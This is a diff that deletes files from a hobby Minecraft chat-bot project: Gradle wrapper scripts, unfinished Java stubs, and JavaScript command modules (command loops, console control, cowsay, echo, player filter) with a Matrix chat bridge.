# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Collect all arguments for the java command:
# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
# and any embedded shellness will be escaped.
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
# treated as '${Hostname}' itself on the command line.
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-classpath "$CLASSPATH" \
org.gradle.wrapper.GradleWrapperMain \
"$@"
# Stop when "xargs" is not available.
if ! command -v xargs >/dev/null 2>&1
then
die "xargs is not available"
fi
# Use "xargs" to parse quoted args.
#
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
#
# In Bash we could simply go:
#
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@"
#
# but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement.
#
# This will of course break if any of these variables contains a newline or
# an unmatched quote.
#
eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' '
)" '"$@"'
exec "$JAVACMD" "$@"

View file

@ -1,92 +0,0 @@
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@if "%DEBUG%"=="" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%"=="" set DIRNAME=.
@rem This is normally unused
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if %ERRORLEVEL% equ 0 goto execute
echo.
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo.
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:execute
@rem Setup the command line
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
:end
@rem End local scope for the variables with windows NT shell
if %ERRORLEVEL% equ 0 goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
set EXIT_CODE=%ERRORLEVEL%
if %EXIT_CODE% equ 0 set EXIT_CODE=1
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
exit /b %EXIT_CODE%
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega

View file

@ -1,8 +0,0 @@
/*
* This file was generated by the Gradle 'init' task.
*
* The settings file is used to specify which projects to include in your build.
* For more detailed information on multi-project builds, please refer to https://docs.gradle.org/8.5/userguide/building_swift_projects.html in the Gradle documentation.
*/
rootProject.name = 'fnfboyfriendbot'

View file

@ -1,47 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot;
import land.chipmunk.parker2991.fnfboyfriendbot.*;
import com.github.steveice10.mc.auth.data.GameProfile;
import com.github.steveice10.mc.protocol.MinecraftProtocol;
import com.github.steveice10.mc.protocol.data.game.entity.player.HandPreference;
import com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility;
import com.github.steveice10.mc.protocol.data.game.setting.SkinPart;
import com.github.steveice10.mc.protocol.packet.common.serverbound.ServerboundClientInformationPacket;
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundLoginPacket;
import com.github.steveice10.mc.protocol.packet.login.clientbound.ClientboundGameProfilePacket;
import com.github.steveice10.packetlib.Session;
import com.github.steveice10.packetlib.event.session.*;
import com.github.steveice10.packetlib.packet.Packet;
import com.github.steveice10.packetlib.tcp.TcpClientSession;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
public class Bot {
private final ArrayList<ClientListener> listeners = new ArrayList<>();
public final String host;
public final int port;
public final List<Bot> bots;
public final Options.bots options;
public Bot (Options.bots options, List<Bot> bots) {
this.host = options.host;
this.port = options.port;
this.options = options;
}
public static void main(String[] args) {
}
public class ClientListener {
}
}

View file

@ -1,36 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import org.yaml.snakeyaml.Yaml;
import com.google.common.util.concurrent.ThreadFactoryBuilder;
import java.io.*;
import java.util.List;
import java.util.Set;
import java.util.ArrayList;
public class Main {
public static void main(String[] args) {
Bot config = null;
Path configPath = Paths.get("config.yml");
try {
Yaml yaml = new Yaml();
config = yaml.load(Files.readString(configPath));
System.out.println(config);
} catch (IOException e) {
System.out.println(e.toString());
}
List<Bots> bots = new ArrayList<>();
for (Options options : config.bots) {
final Bot client = new Bot(options, bots);
bots.add(client);
}
}
private static class Options {
}
}

View file

@ -1,9 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot;
public class Options {
public static class bots {
public String host = "127.0.0.1";
public int port = 25565;
public long reconnectDelay;
}
}

View file

@ -1,6 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.commands;
public class SayCommand {
}

View file

@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class BruhifyModule {
}

View file

@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class ChatCommandHandlerModule {
}

View file

@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class ChatModule {
}

View file

@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class CommandCoreModule {
}

View file

@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class CommandLoopManagerModule {
}

View file

@ -1,7 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class CommandManagerModule {
}

View file

@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class ConsoleModule {
}

View file

@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class DiscordModule {
}

View file

@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class PlayerListModule {
}

View file

@ -1,7 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class SelfcareModule {
}

View file

@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
public class ValidationModule {
}

View file

@ -1,35 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot;
import java.net.InetAddress;
import java.net.UnknownHostException;
public class servershit {
public static void main(String[] args) {
try {
InetAddress inetAddress = InetAddress.getLocalHost();
System.out.println("Hostname \u203a " + inetAddress.getHostName());
} catch (UnknownHostException e) {
e.printStackTrace();
}
System.out.println("Working Directory \u203a " + System.getProperty("user.dir"));
System.out.println(System.getProperty("os.arch"));
System.out.println("OS \u203a " + System.getProperty("os.name"));
System.out.println("OS Version/distro \u203a " + System.getProperty("os.version"));
System.out.println("Kernel Version \u203a " + System.getProperty("os.kernel.version"));
System.out.println("Cores \u203a " + Runtime.getRuntime().availableProcessors());
System.out.println("CPU \u203a " + System.getProperty("sun.cpu.isalist"));
System.out.println("Server Free memory " + (Runtime.getRuntime().freeMemory() / 1048576) + " MiB " +
Runtime.getRuntime().totalMemory() / 1048576 + " MiB");
System.out.println("Device uptime \u203a " + formatUptime(System.currentTimeMillis() / 1000L));
System.out.println("Java version \u203a " + System.getProperty("java.version"));
}
private static String formatUptime(long uptime) {
long days = uptime / 86400;
long hours = (uptime % 86400) / 3600;
long minutes = ((uptime % 86400) % 3600) / 60;
long seconds = ((uptime % 86400) % 3600) % 60;
return days + "d " + hours + "h " + minutes + "m " + seconds + "s";
}
}

View file

@ -1,27 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot;
import java.io.IOException;
import java.io.InputStream;
import java.util.Arrays;
public class serverterminal {
public static void main(String[] args) {
try {
ProcessBuilder processBuilder = new ProcessBuilder(Arrays.asList("ash", "-c", "ls"));
Process process = processBuilder.start();
InputStream inputStream = process.getInputStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
System.out.println(new String(buffer, 0, bytesRead));
}
int exitCode = process.waitFor();
System.out.println("Child process close all stdio with code " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}

View file

@ -1,8 +0,0 @@
Commands:
prefixes:
- "~"
- "fnfbfbot "
- "&"
- "\ufffc"
- "\u202e"
- "\u2588"

View file

@ -1,26 +0,0 @@
const CommandError = require('../util/command_error.js');
module.exports = {
name: 'json',
trustLevel: 0,
aliases: [
],
description: 'placeholder text here',
usages: [
],
execute (context) {
const bot = context.bot;
const args = context.arguments;
try {
// bot.tellraw("@a", [
// { text: `Result \u203a` },
//JSON.parse(args.join(' ')),
// ])
// bot.tellraw("@a", `Result ${JSON.stringify(JSON.parse(args.join(' ')))}` )
bot.tellraw("@a", JSON.parse(JSON.stringify(args.join(' '))))
// console.log([ { text: `Result \u203a` }, { text: JSON.parse(args.join(' ')) } ])
} catch (e) {
bot.tellraw("@a", { text: e.toString(), color: "dark_red" })
}
}
}

View file

@ -1,87 +0,0 @@
const sdk = require("matrix-js-sdk");
const { logger } = require('matrix-js-sdk/lib/logger');
async function matrix (bot, options, config, discordClient) {
if (!options.roomId) return
if (!config.matrix.enabled) return
const client = sdk.createClient({
baseUrl: `${config.matrix.hostUrl}`,
accessToken: `${config.matrix.token}`,
userId: `${config.matrix.userId}`,
})
bot.matrix = {
client,
roomId: options.roomId,
prefix: config.matrix.prefix || undefined,
inviteUrl: config.matrix.invite || undefined
}
bot.matrix.client.on('Room.timeline', (event, room, toStartOfTimeline) => {
if (event.getRoomId() !== bot.matrix.roomId
|| event.getType() !== 'm.room.message'
|| event.getTs() < startTime
|| event.sender.userId === bot.matrix.client.getUserId()) return
const content = event.getContent()
const permissionLevel = event.sender.powerLevelNorm
bot.tellraw("@a", [
{
translate: "[%s] %s \u203a %s",
color: "gray",
with: [
{
translate: "%s%s%s %s",
with: [
{
text: "FNF",
color: "blue",
},
{
text: "Boyfriend",
color: "dark_aqua",
},
{
text: "Bot",
color: "dark_blue",
},
{
text: "Matrix",
color: "#0dbd8b"
}
],
// clickEvent: config.matrix.invite ? { action: 'open_url', value: config.matrix.invite } : undefined,
// hoverEvent: { action: 'show_text', contents: 'Click to join the matrix' }
},
{
// text: event.sender.rawDisplayName || event.sender.name || event.sender.userId
},
// content.body
event.getContent().body,
]
}
])
console.log(
// the room name will update with m.room.name events automatically
"(%s) %s :: %s",
room.name,
event.getSender(),
event.getContent().body,
)
})
bot.on('message', (message) => {
const stringMessage = bot.getMessageAsPrismarine(message)?.toString()
const content = {
body: '```ansi' + stringMessage + '```',
msgtype: "m.text",
}
let queue = [];
setInterval(() => {
// if (queue.length === 0) return
try {
bot.matrix.client.sendEvent(bot.options.roomId, 'm.room.message', content);
} catch (e) {
bot.console.logs(error.toString());
}
queue = [];
}, 5000)
})
await client.startClient()
}
module.exports = matrix;

View file

@ -1,9 +0,0 @@
const { request } = require("undici");
// https://en.wikipedia.org/w/api.php
async function sus () {
const query = new URLSearchParams("sus");
const wikiResult = await request(`https://en.wikipedia.org/wiki/sus`);
const result = await wikiResult.body;
console.log((await result.json()))
}
sus()

View file

@ -1,71 +0,0 @@
const mc = require('minecraft-protocol')
const { EventEmitter } = require('events')
//require("events").EventEmitter.defaultMaxListeners = Infinity;
EventEmitter.defaultMaxListeners = Infinity
const util = require('util');
function createBot(options = {}, config) {
const bot = new EventEmitter();
bot.options = {
// Set some default values in options
host: options.host ??= 'localhost',
username: options.username ??= 'Player',
hideErrors: options.hideErrors ??= true, // HACK: Hide errors by default as a lazy fix to console being spammed with them
};
bot.options = options;
const ChatMessage = require('prismarine-chat')(bot.options.version);
// Create our client object, put it on the bot, and register some events
bot.on('init_client', client => {
client.on('packet', (data, meta) => {
bot.emit('packet', data, meta)
bot.emit('packet.' + meta.name, data)
})
client.on('login', () => {
bot.uuid = client.uuid
bot.username = client.username
})
client.on('disconnect', (data) => {
bot.emit("disconnect", data)
// bot.console.info(JSON.stringify(data))
// bot?.discord?.channel?.send(util.inspect(data.reason))
if (config.console.filelogger) {
// bot?.console?.filelogging(`[${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO", })} ${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO", })} logs] [${options.serverName}] ` + '[Client Reconnect] ' + util.inspect(data.reason))
}
})
client.on('end', reason => {
bot.emit('end', reason);
})
client.on('error', error => {
bot.console.warn(ChatMessage.fromNotch('§8[§bClient Reconnect§8]§r ')?.toAnsi() + util.inspect(error.toString()))
// bot?.discord?.channel?.send(error.toString())
if (config.console.filelogger) {
// bot?.console?.filelogging(`[${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO", })} ${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO", })} logs] [${options.serverName}] ` + '[Client Reconnect] ' + util.inspect(error.toString()))
}
})
client.on("keep_alive", ({ keepAliveId }) => {
bot.emit("keep_alive", { keepAliveId })
})
client.on('kick_disconnect', (data) => {
bot.emit("kick_disconnect", data.reason)
bot.console?.warn(ChatMessage.fromNotch(`§8[§bClient Reconnect§8]§r `)?.toAnsi() + util.inspect(data.reason))
bot?.discord?.channel?.send(util.inspect(data.reason))
if (config.console.filelogger) {
// bot?.console?.filelogging(`[${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO", })} ${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO", })} logs] [${options.serverName}] ` + '[Client Reconnect] ' + util.inspect(data.reason))
}
})
process.on("uncaughtException", (e) => {
// console?.warn(e.stack)
});
})
const client = options.client ?? new mc.createClient(options)
bot._client = client
bot.emit('init_client', client)
bot.bots = options.bots ?? [bot]
return bot
}
module.exports = createBot

View file

@ -1,58 +0,0 @@
const bots = require('../data/bots.json');
const CommandError = require('../util/command_error')
module.exports = {
name: "bots",
description: ["shows a list of known bots"],
aliases: ["knownbots"],
trustLevel: 0,
usages:[""],
async execute(context) {
const query = context.arguments.join(" ").toLowerCase();
const bot = context.bot;
if (query.length === 0) {
const list = [];
for (const info of bots) {
if (list.length !== 0) {
list.push({ text: ", ", color: "gray" });
}
list.push(info.name);
}
bot.tellraw("@a",
["Known bots (", { text: JSON.stringify(bots.length), color: 'gold' }, { text: ") - ", color: 'gray' }, ...list],
false,
);
return;
}
for (const info of bots) {
const plainName = String(
context.bot.getMessageAsPrismarine(info.name),
).toLowerCase();
if (plainName.includes(query)) this.sendBotInfo(info, context.bot);
}
},
sendBotInfo(info, bot) {
const component = [""];
component.push("Name: ", info.name);
if (info.exclaimer) component.push("\n", "Exclaimer: ", info.exclaimer);
if (info.authors && info.authors.length !== 0) {
component.push("\n", "Authors: ");
for (const author of info.authors) {
component.push(author, { text: ", ", color: "gray" });
}
component.pop();
}
if (info.foundation) component.push("\n", "Foundation: ", info.foundation);
if (info.prefixes && info.prefixes.length !== 0) {
component.push("\n", "Prefixes: ");
for (const prefix of info.prefixes) {
component.push(prefix, { text: ", ", color: "gray" });
}
component.pop();
}
bot.tellraw("@a", [component]);
},
};
//it doing it just for the ones i added lol
// prob a replit moment, it probably thinks there are regexes in the strings

View file

@ -1,158 +0,0 @@
const { EmbedBuilder } = require('discord.js');
const CommandError = require('../util/command_error');
module.exports = {
name: 'cloop',
trustLevel: 1,
aliases: [
"commandloop"
],
description: 'run cloops',
usages: [
"add <interval> <command>",
"remove <index>",
"clear",
"list",
],
execute (context) {
const args = context.arguments
const bot = context.bot
const source = context.source
if (!args && !args[0] && !args[1] && !args[2] && !args[3]) return
switch (args[1]) {
case 'add':
if (parseInt(args[2]) === NaN) bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, { text: 'Invalid interval', color: 'red' })
const interval = parseInt(args[2])
const command = args.slice(3).join(' ');
bot.cloop.add(command, interval)
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, {
translate: 'Added \'%s\' with interval %s to the cloops',
color: 'gray',
with: [ command, { text: `${interval}`, color: 'gold' } ]
})
break
case 'remove':
if (parseInt(args[2]) === NaN) bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, { text: 'Invalid index', color: 'red' })
const index = parseInt(args[2])
bot.cloop.remove(index)
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, {
translate: 'Removed cloop %s',
color: 'gray',
with: [ { text: `${index}`, color: 'gold' } ]
})
break
case 'clear':
bot.cloop.clear()
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, { text: 'Cleared all cloops' })
break
case 'list':
const component = []
const listComponent = []
let i = 0
for (const cloop of bot.cloop.list) {
listComponent.push({
translate: '%s \u203a %s (%s)',
color: 'gray',
with: [
{ text: `${i}`, color: 'gold' },
cloop.command,
{ text: `${cloop.interval}`, color: 'gold'},
]
})
listComponent.push('\n')
i++
}
listComponent.pop()
component.push({
translate: 'Cloops (%s):',
with: [ { text: `${bot.cloop.list.length}`, color: 'gold' } ]
})
component.push('\n')
component.push(listComponent)
if (bot.cloop.list.length === 0) {
bot.tellraw(`@a[name="${source?.player.profile?.name}"]`, {
translate: 'Cloops (%s):',
color: 'gray',
with: [ { text: `${bot.cloop.list.length}`, color: 'gold' } ]
})
} else {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, component)
}
break
default:
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, { text: 'Invalid action', color: 'red' })
break
}
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
let Embed;
switch (args[0]) {
case "add":
const interval = parseInt(args[1])
const command = args.slice(2).join(' ')
bot.cloop.add(command, interval)
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`Added ${command} with the interval ${interval} to the cloops`)
bot?.discord?.message?.reply({ embeds: [Embed] })
break;
case "remove":
var index = (args[1])
if (parseInt(args[1]) === NaN) throw new CommandError("invalid index");
bot.cloop.remove(index)
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`removed cloop ${index}`)
bot?.discord?.message?.reply({ embeds: [Embed] })
break
case 'clear':
bot.cloop.clear()
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`cleared cloops`)
bot?.discord?.message?.reply({ embeds: [Embed] })
break
case 'list':
const component = []
const listComponent = []
let i = 0
for (const cloop of bot.cloop.list) {
listComponent.push({
translate: '%s \u203a %s (%s)',
with: [
`id ${i}`,
cloop.command,
cloop.interval
]
})
listComponent.push('\n')
i++
}
listComponent.pop()
component.push({
translate: 'Cloops (%s):',
with: [ bot.cloop.list.length ]
})
component.push('\n')
component.push(listComponent)
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(bot.getMessageAsPrismarine(component)?.toString())
bot?.discord?.message?.reply({ embeds: [Embed] })
break
}
}
}

View file

@ -1,124 +0,0 @@
module.exports = {
name: 'console',
trustLevel: 4,
aliases: [
],
usages: [
'server/srv <all/servername>',
'customchat <on/true/enable/off/false/disable>',
'say <message>',
'validate/validation/val <owner/o/admin/a/trusted/t>',
'logging/togglelogging/logtoconsole <on/true/enable/off/false/disable>'
],
execute (context) {
const bot = context.bot
const args = context.arguments;
const source = context.source;
if (!args && !args[0] && !args[1] && !args[2] && !args[3]) return;
switch (args[0]?.toLowerCase()) {
case "server":
case "svr":
const servers = bot.bots.map(eachBot => eachBot.options.serverName);
for (const eachBot of bot.bots) {
if (args.slice(1).join(' ').toLowerCase() === 'all') {
eachBot.console.server = 'all'
bot.console.info("Set the console server to all");
continue
}
const server = servers.find(server => server.toLowerCase().includes(args[1]))
if (!server) {
bot.console.info("Invalid server");
return
}
bot.console.info(`Set the console server to ` + server);
eachBot.console.server = server;
}
break
case 'customchat':
if (args[1] === 'off' || args[1] === 'false' || args[1] === 'disable') {
bot.console.customChat.enabled = false
bot.console.info('Custom Chat disabled');
} if (args[1] === 'on' || args[1] === 'true' || args[1] === 'enable') {
bot.console.customChat.enabled = true;
bot.console.info('Custom Chat enabled');
}
break
case 'say':
if (!bot.console.customChat.enabled) {
bot.commandManager.executeString(bot.console.source, `echo ${args.slice(1).join(' ')}`)
} else if (bot.console.customChat.enabled) {
if (args.slice(1).join(' ').startsWith('/')) {
bot.chat.command(`${args.slice(1).join(' ').substring(1)}`)
return;
}
bot.console.customChat.chat(args.slice(1).join(' '));
}
break
case "validate":
case "validation":
case "val":
switch (args[1]?.toLowerCase()) {
case "owner":
case "o":
if (bot.console.customChat.enabled) {
bot.console.customChat.chat(`${config.prefixes[0]}${args.slice(2).shift()} ${bot.validation.owner} ${args.slice(3).join(' ')}`)
} else if (!bot.console.customChat.enabled) {
bot.chat.message(`${config.prefixes[0]}${args.slice(2).shift()} ${bot.validation.owner} ${args.slice(3).join(' ')}`)
// bot.chat.message(`${config.prefixes[0]}${args.slice(2)} ${args.slice(3).shift()}${bot.validation.trusted}`)
}
break
case "admin":
case "a":
if (bot.console.customChat.enabled) {
bot.console.customChat.chat(`${config.prefixes[0]}${args.slice(2).shift()} ${bot.validation.admin} ${args.slice(3).join(' ')}`)
} else if (!bot.console.customChat.enabled) {
bot.chat.message(`${config.prefixes[0]}${args.slice(2).shift()} ${bot.validation.admin} ${args.slice(3).join(' ')}`)
}
break
case "trusted":
case "t":
if (bot.console.customChat.enabled) {
bot.console.customChat.chat(`${config.prefixes[0]}${args.slice(2).shift()} ${bot.validation.owner} ${args.slice(3).join(' ')}`);
} else if (!bot.console.customChat.enabled) {
bot.chat.message(`${config.prefixes[0]}${args.slice(2).shift()} ${bot.validation.trusted} ${args.slice(3).join(' ')}`);
}
break
default:
bot.chat.message(bot.getMessageAsPrismarine({ translate: "command.unknown.argument", color: "dark_red" })?.toMotd().replaceAll("§","&"))
}
break
case 'logging':
case 'togglelogging':
case 'logtoconsole':
switch (args[1]?.toLowerCase()) {
case 'on':
case 'enable':
case 'enabled':
case 'true':
if (bot.options.logging === true) {
bot.console.info(`logging for ${bot.options.serverName} is already enabled!`);
} else {
bot.console.info(`logging for ${bot.options.serverName} is now enabled`);
bot.options.logging = true;
}
break
case 'off':
case 'disable':
case 'disabled':
case 'false':
if (bot.options.logging === false) {
bot.console.info(`logging for ${bot.options.serverName} is already disabled!`);
} else {
bot.console.info(`logging for ${bot.options.serverName} is now disabled`);
bot.options.logging = false;
}
break
}
break
default:
bot.chat.message(bot.getMessageAsPrismarine({ translate: "command.unknown.argument", color: "dark_red" })?.toMotd().replaceAll("§","&"))
}
}
}

View file

@ -1,25 +0,0 @@
const CommandError = require('../util/command_error')
module.exports = {
name: 'core',
trustLevel: 0,
aliases: [
"cb",
"corerun",
"commandcorerun",
],
description: 'run commands in core!',
usages: [
"<command>",
],
execute (context) {
const bot = context.bot
const message = context.arguments.join(' ');
bot.core.run(message)
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
bot.core.run(args.join(' '));
}
}

View file

@ -1,78 +0,0 @@
const cowsay = require('cowsay2');
const cows = require('cowsay2/cows');
const { EmbedBuilder } = require('discord.js');
const fixansi = require('../util/ansi');
module.exports = {
name: 'cowsay',
trustLevel: 0,
aliases: [
],
description: 'amogus',
usages: [
"just wait till the command is ready :3"
],
execute (context) {
const bot = context.bot;
const args = context.arguments;
const source = context.source;
if (args[0]?.toLowerCase() === "list") {
const list = Object.keys(cows);
let content = [];
let color = true;
for (const value of list) {
content.push([
{
text: value + ' ',
color: (!((color = !color)) ? 'blue' : 'dark_blue'),
}
])
}
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, content)
} else if (cows[args[0]]) {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, {
text: cowsay.say(args.slice(1).join(' '),
{ cow: cows[args[0]] })
})
} else {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, { text: cowsay.say(args.slice(0).join(' ')) })
}
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
let Embed
if (args[0] === "list") {
const list = Object.keys(cows);
let content = [];
let color = true;
for (const value of list) {
content.push([
{
text: value + ' ',
}
])
}
const ansiList = bot.getMessageAsPrismarine(content)?.toString();
const fixAnsiList = fixansi(ansiList.replaceAll('`', '`\u200b'))
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fixAnsiList}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
} else if (cows[args[0]]) {
const ansiCow1 = bot.getMessageAsPrismarine({ text: cowsay.say(args.slice(1).join(' '), { cow: cows[args[0]] }) })?.toAnsi()
const fixAnsiCow1 = fixansi(ansiCow1.replaceAll('`', '`\u200b'))
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fixAnsiCow1}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
} else {
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${cowsay.say(args.slice(0).join(' '))}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] });
}
}
}

View file

@ -1,31 +0,0 @@
module.exports = {
name: 'echo',
trustLevel: 0,
aliases: [
"say",
"botsay",
],
description: 'Make me say something',
usages: [
"<message>"
],
execute (context) {
const bot = context.bot
const message = context.arguments.join(' ')
if (message.startsWith('/')) {
bot.chat.command(message.substring(1))
return
}
// if
bot.chat.message(message)
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
if (args.join(' ').startsWith('/')) {
bot.chat.command(args.join(' ').substring(1))
return
}
bot.chat.message(args.join(' '))
}
}

View file

@ -1,120 +0,0 @@
const CommandError = require('../util/command_error');
module.exports = {
name: 'filter',
trustLevel: 1,
aliases: [
"blacklist"
],
description: 'filters players',
usages: [
"list",
"--regex(-r) --ignorecase(-i) add <player>",
"--ignorecase(-i) add <player>",
"add <player>",
"clear",
"remove(rm) <index>"
],
execute (context) {
/*
note:
bot.filter.add(ignoreCase(true/false), regexed(true/false), name(args))
*/
const bot = context.bot
const args = context.arguments;
const config = context.config;
let component = [];
if (bot.options.isCreayun || bot.options.isSavage) throw new CommandError('this command is meant for kaboom.pw and its clones')
if (!args && !args[0] && !args[1] && !args[2] && !args[3] && !args[4]) return
switch (args[1]?.toLowerCase()) {
case 'list':
// bot.tellraw(`@a`, JSON.stringify(bot.filter.list().length));
if (bot.filter.list().length === 0) {
component.push({
translate: '%s: (%s)',
color: 'dark_gray',
with: [
{ text: 'Players', color: 'dark_blue' },
{ text: JSON.stringify(bot.filter.list().length), color: 'gold' },
]
})
} else {
let i = 0;
let listComponent = []
for (const players of bot.filter.list()) {
listComponent.push({
translate: '%s \u203a %s',
color: 'dark_blue',
with: [
{ text: `${i}`, color: 'gold' },
{ text: players.name, color: 'blue' },
]
})
listComponent.push('\n')
i++
}
listComponent.pop()
component.push({
translate: '%s: (%s)',
color: 'dark_gray',
with: [
{ text: 'Players', color: 'dark_blue' },
{ text: `${bot.filter.list().length}`, color: 'gold' }
]
})
component.push('\n')
component.push(listComponent)
// bot.tellraw("@a", component)
}
bot.tellraw("@a", component)
break;
case "--regex":
case "-r":
switch (args[2]?.toLowerCase()) {
case "--ignorecase":
case "-i":
switch (args[3]?.toLowerCase()) {
case "add":
case "a":
bot.filter.add(true, true, args[4])
bot.chat.message(`Added ${args[4]} to the filter`)
break;
}
break;
case "add":
bot.filter.add(false, true, args[3]);
bot.chat.message(`Added ${args[3]} to the filter`);
break;
}
break;
case "--ignorecase":
case "-i":
switch (args[2]?.toLowerCase()) {
case "add":
bot.filter.add(true, false, args[3]);
bot.chat.message(`Added ${args[3]} to the filter`)
break;
}
break;
case "add":
case "a":
